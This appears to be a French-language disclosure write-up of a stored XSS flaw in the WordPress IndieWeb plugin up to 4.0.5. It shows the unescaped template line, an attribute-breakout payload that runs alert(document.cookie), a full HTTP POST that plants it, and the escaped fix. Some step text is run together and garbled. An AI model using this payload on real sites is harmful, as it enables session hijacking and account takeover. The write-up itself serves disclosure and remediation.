
Cross-Site Scripting (XSS) stocké authentifié dans le plugin WordPress IndieWeb
Avertissement : Ce dépôt est créé à des fins éducatives et de divulgation éthique uniquement. La vulnérabilité a été signalée de manière responsable à l'éditeur et a été corrigée. N'utilisez pas ces informations pour exploiter des systèmes sans autorisation appropriée.
Une vulnérabilité de Cross-Site Scripting (XSS) stocké a été découverte dans le plugin IndieWeb pour WordPress (versions <= 4.0.5). Cette vulnérabilité permet à des attaquants authentifiés disposant de privilèges Auteur ou supérieurs d'injecter du JavaScript malveillant dans le champ « Téléphone » de leur profil utilisateur.
Lorsque le « Widget H-Card du profil auteur » est affiché en frontal, le script injecté est rendu sans échappement approprié. Si un utilisateur hautement privilégié, tel qu'un administrateur, clique sur le lien manipulé, le script s'exécute dans le contexte de son navigateur. Cela peut conduire à un détournement de session, à des actions administratives non autorisées et à une prise de contrôle totale du compte (ATO).
<= 4.0.5Le problème principal réside dans la gestion non sécurisée des métadonnées utilisateur au sein du système de gabarits de l'extension, plus précisément dans l'absence d'utilisation des fonctions d'échappement intégrées de WordPress.
Fichier vulnérable : templates/h-card.php (ligne 27)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
La faille :
L'extension affiche directement les métadonnées tel de l'utilisateur à l'intérieur de l'attribut HTML href en utilisant echo sans les encapsuler dans esc_attr(). Cela permet à un attaquant de fournir une chaîne conçue incluant un guillemet double (") pour fermer prématurément l'attribut href, suivi d'attributs HTML arbitraires (tels que style ou onclick).
<= 4.0.5 activé./wp-admin/profile.php).href) :
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single()) pour afficher les informations de l'auteur.POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
Pour corriger cette vulnérabilité, les développeurs de l'extension doivent échapper correctement la sortie à l'aide des fonctions esc_attr() et esc_html() de WordPress.
Exemple de code corrigé :
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>